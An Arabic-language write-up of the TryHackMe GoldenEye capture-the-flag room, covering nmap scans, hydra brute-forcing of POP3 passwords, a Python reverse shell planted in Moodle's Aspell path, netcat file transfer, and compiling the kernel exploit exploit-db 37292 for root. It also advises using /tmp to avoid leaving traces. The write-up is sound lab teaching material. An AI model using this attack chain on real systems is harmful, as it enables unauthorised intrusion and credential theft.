TryHackMe|GoldenEye WriteUp\Walkthrough (Arabic)
بسم الله
للي يبغى يشوف الحل مشروح فيديو يرجع للفيديوعلى قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/goldeneye
=============================================================
كلمة IP في كل
الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل
وهي إننا نسوي scan للشبكة
باستخدام nmap
sudo nmap IP -vv
طلع معانا بورت 25 و 80، نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 80,25
في النتائج طلع معانا على بورت 25 smtp سيرفير، وعلى بورت 80 أباتشي سيرفير وعنوان الصفحة GolenEye Primary Admin Server
نسوي سكان على جميع البورتات الموجودة على الشبكة ونشوف لو طلع
معانا أي بورتات إضافية، بنخليه شغال في صفحة لوحده ونكمل، ونرجع له نشوف لو طلع
معانا أي بورت جديدة
sudo nmap IP -vv -p-
نروح للمتصفح ونزور الموقع على بورت 80، بيطبع معانا رسالة، في آخرها معطيني مسار أروح له /sev-home/ عشان أسجل دخول، إذا رحنا للمسار هذا، بنلاقي Basic Authentication وهو نوع من أنواع تسجيل الدخول على الصفحة في نافذة منبثقة تطلع لما نزور الصفحة قبل ما تتحمل، وليست صفحة دخول تتحمل بالكامل، مثل مو واضح بالصورة
وبما إن للآن ما عندنا أي معلومات نستخدمها لتسجيل الدخول، فبنتجاهل هذه الصفحة حاليا. نرجع للصفحة الرئيسية ونشيك على الـsource code بنلاقي فيه سكريبت
وإذا دخلنا عليه بنلاقي في الملاحظات معلومات مفيدة.
أول شيء عندنا اسمين Boris و Natalya وفي الـCTF أي اسم نلقاه بالعادة يكون اسم مستخدم على النظام، فأفضل إننا نسجلها دائما في الملاحظات ونرجع لها إذا سوينا brute force أو أي عملية ثانية نستفيد من أسماء المستخدمين فيها.
هنا في الملاحظات الرسالة موجهة لـ Boris ومُفادها إن كلمة سره ضعيفة ولازم يغيرها، وغير كذا معطينا كلمة السر encoded، ناخذها ثم نسوي لها decode، أنا استخدمت هذا الموقع عشان أتعرف على نوع الـencode وعشان برضو أفكه، طلع نوع الإنكود HTML escape. لما نسوي ديكود ناخذ كلمة السر اللي تطلع معانا ونخزنها. ثم نستخدمها عشان ندخل على sev-home.
بعد ما ندخل بيفتح معانا صفحة يشتغل في الخلفية فيديو، وفي رسالة في الزاوية اليمين بالأعلى، مُفاد الرسالة إن فيه pop3 server شغال على بورت غير الافتراضية اللي هي 110، وقالي إنه يشتغل على بورت عاالية جدا، واحنا أصلا قد سوينا بحث عن البورتات المفتوحة على كل البورتات الـ65000 من أول، وطلع معانا نفس البوورتات الأولى وزيادة عليها 55007 ولو سوينا عليها سكان بيطلع إن شغال عليها pop3.
الحين عشان نتصل بالـpop3 بنستخدم telnet
telnet IP 55007
وقبل ما نتعامل مع pop3 هذه كوماندز مُفيدة:
USER < تُستخدم عند إدخال اسم المستخدم
PASS <تُستخدم عند إدخال كلمة السر
LIST < تُستخدم لعرض الإيميلات لمُستخدم
RETR < تُستخدم لعرض محتويات الإيميل
نكمل، لو جربنا ندخل بنفس كلمة السر لـboris اللي استخدمناها عشان ندخل على sev-home ما بيدخلنا، لذلك بنسوي brute force عشان نحصل على كلمة السر.
hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 -t64
بيعطينا كلمة السرلـboris، وبرضو احنا نعرف إن في مستخدم آخر اسمه Natalya نرجع نشغل نفس الكوماند بس نغير اسم المستخدم.
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 -t64
الحين صار عندنا كلمتين سر لمستخدمين مختلفين على الايميل، بنبدأ بـ بوريس ثم نتاليا. نرجع ندخل على الـpop3
telnet IP 55007
ثم ندخل اسم المستخدم وكلمة السر
USER boris
PASS *******
بعد ما ندخل نستعرض الإيميلات باستخدام
LIST
بيطلع إن عنده بوريس 3 رسائل
عشان نستعرض أي منها مثلا الايميل رقم 1
RETR 1
وبعد ما شُفت الايميلات واحد واحد مافي أي شيء مهم، وعشان نسجل خروج من الـpop3 server من الكيبورد نضغط على ctrl اليمين مع القوس المربع اليمين، ثم نكتب quit، وبكذا نُخرج.
ننتقل لنتاليا ونشوف وش في إيميلاتها، ندخل بنفس الطريقة أعلاه، وبيظهر لنا إن نتاليا عندها ايميلين. الايميل الأول ما فيه شيء مهم، أما الثاني بنلقى فيه كلمة سر واسم مستخدم لمُستخدم جديد على الموقع.
نروح للموقع servernaya-station.com/gnocertdir، لكن قبل نزوره لازم نضيفه لـ
/etc/hosts
ثم نروح للموقع على المتصفح ونسجل دخول كـxenia، ثم من الـNavigation نضغط على My Profile ثم Messages، ما في شيء مُعين يخلينا نروح هنا، لكن بعد التفتيش في الموقع بنلقى اللي نبي في الرسائل.
في الرسائل فيه رسالة من Doak، فمعناته في مستخدم إضافي اسمه Doak، نبحث عن كملة سره
hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 -t64
نبحث عن كملة سره، ثم ندخل على pop3 ونشوف الايميلات. عندي فقط ايميل واحد، ثم داخل هذا الايميل أعطانا كلمة السر واسم المستخدم لحسابه على الموقع.
نرجع للموقع نسجل دخول كالمستخدم Doak، ثم من الـNavigation نضغط على My Profile ثم My private files، بنلقى ملف في المجلد for james اسمه s3cret.txt، لما نضغط على الملف بيتحمل على الجهاز، ثم نستعرض الملف.
بداخل الملف أعطاني مسار ويقول إن بداخله كلمة سر الـadmin، نروح للمسار ونحمل الصورة اللي بتطلع في الصفحة. وعشان نقرأ الـmetadata بنستخدم exiftool
exiftool for-007.jpg
بيطلع معانا سلسلة من الحروف والأرقام شكلها كأنها base64 encoded كقيمة لـ Image Description. نسوي لها decode باستخدام نفس الموقع اللي فوق، وبيطلع معانا كلمة السر للمستخدم admin، نرجع للموقع ونسجل دخول كـAdmin.
الحين اللي نبغاه هو إننا نحصل على shell من الجهاز، وهو أعطاني في السؤال تلميحة إننا بنستخدم Aspell، فنستخدم البحث اللي موجود في الموقع، ونبحث Spell
بيطلع معانا صفحة، نقدر من خلالها نحط أي كود نبي ننفذه، فاللي بنسويه إننا بنختار عند spell engine من القائمة المنسدلة PSpellShell، ثم في Path to aspell نحط الـreverse shell، أنا أخذتها من موقع revshells.com واخترت python #2، المهم تأكدوا من العنوان ورقم البورت، العنوان بيكون عنوان openVPN لجهازكم، والبورت أي وحده، المهم تكون نفس اللي بتستخدمونها للـlistener. ننسخ الشيل ونرجع للموقع ثم نلصقها في خانة Path to spell ونضغط save changes.
الحين السؤال كيف نشغلها ؟، نروح لأي مكان نقدر نضيف فيه نص، ويطلع معاي خانة spell check، إذا ضغطنا عليها، علطول بيفعل الـshell. نروح لـblogs من الـnavigation bar على اليسار، ثم نختار add a new entry، ثم نضغط على spell check
وقبل ما نشغل هذه الشيل نروح للـterminal ونجهز الـlistener عشان نستقبل الـshell.
nc -nlvp 4444
الحين كل شيء جاهز نرجع ونضغط على spell check وبيجينا اتصال من التارقيت.
بما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي
نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام
هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا
بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر،
بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
عشان نعرف نوع الـkernel للجهاز نستخدم الكوماند
uname -a
ثم بناخذ اسم الـkernel ونبحث إذا كان فيه لها exploit نقدر نستخدمها عشان نرفع الصلاحيات لـ root. في قوقل نبحث 3.13.0-32-generic exploit. بيعطينا هذه الصفحة على exploit-db. ومشروح فيها كيف نستخدم الاكسبوليت
نروح على جهازنا ونحمل الاكسبوليت باستخدام
searchsploit -m 37292
بيتحمل معانا ملف c، ولسهولة الاستخدام بنغير اسمه
mv 37292.c exploit.c
ننقلها للضحية باستخدام netcat، في ncat الـlistener هو اللي يستقبل والـClient هو اللي يرسل
على الضحية
nc -nlvp 1233 > exploit.c
وعلى جهازنا
nc -nv IP 1233< exploit.c
بعد ما نستلم الملف على جهاز الضحية ننقله للـtmp، ليش؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا
عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي
شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان
واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان
هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
mv exploit.c /tmp
الآن ملف الاكسبوليت هو ملف c موجود على نظام لينكس، وعشان نسوي له compile على نظام لينكس، ممكن نستخدم gcc أو cc، نبحث ونشوف وش موجود عندنا
which gcc
ماهو موجود
which cc
موجود عندنا
لذلك بنستخدمه، لكن لو جربنا نسوي كومبايل باستخدام cc ما بينفع. فنحتاج نعدل كل gcc إلى cc في الكود باستخدام هذه الكوماند
sed -i "s/gcc/cc/g" exploit.c
ثم نسوي كومبايل
cc exploit.c -o exploit
الـoutput file سميناه exploit
لما نشغل بيطلع معانا warnings نتجاهلها
ثم نشغل الاكسبوليت
./exploit
بعد كذا علطول بيعطيني رووت، نسوي spawn لـ bash shell
ثم ناخذ الفلاق
cd /root
cat .flag.txt
وبكذا يكون أخذنا آخر فلاق ✨ وانتهينا من الحل.
----------------------------------------------------------------------------------------
هذه إجابات الأسئلة باستثناء كلمات السر والفلاق:
Intro & Enumeration
Its mail time...
GoldenEye Operators Training
Privilege Escalation




















Comments
Post a Comment